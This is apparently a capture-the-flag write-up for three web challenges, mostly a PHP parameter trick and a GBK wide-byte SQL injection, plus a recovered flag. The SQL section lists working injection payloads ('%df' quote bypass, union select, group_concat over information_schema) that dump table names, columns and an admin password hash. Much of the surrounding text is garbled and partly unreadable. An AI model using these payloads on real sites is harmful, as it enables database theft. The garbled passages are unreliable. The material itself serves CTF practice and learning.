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1. php-basic1

http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php
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http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1
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2. SQL-basic1

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2
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id=-1%df order by 1 %23 (dffaTH K855 HEqueryRi K515, %23="# 1R 5 HKquery RE KI5 5)
id=-1%df order by 1,2 %23

id=-1%df order by 1,2,3 %23<—3 4k

AN FB.

Funion selecti& it T2

id

1B PE

BEEERET —ME
id=-1%df union select 1,database() %23
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,group_concat(table_name) information_schema.tables table schema=

HWRB A, RERFR

,group_concat(column_name) information_schema.columns table_name=

you know what to do.


http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2
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,group_concat( ,pw) ctf

admin21dd715a3605b2a4053e80387116¢190,md5 1 % .
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2.2 ctf2...... BH
2.3 ctf3...... BH
24ctfa: F7

payload:

id=-1%df" union select 1,group_concat(column_name) from information_schema.columns where table_name=0x637466 %23

id,flag
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getflag

3. logic-basic1

http://nctf.nuptz.cn/web13/index.php?user1=Y3RmdXNicg%3D%3D
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flag is:nctf{reset_password_often_have vuln}
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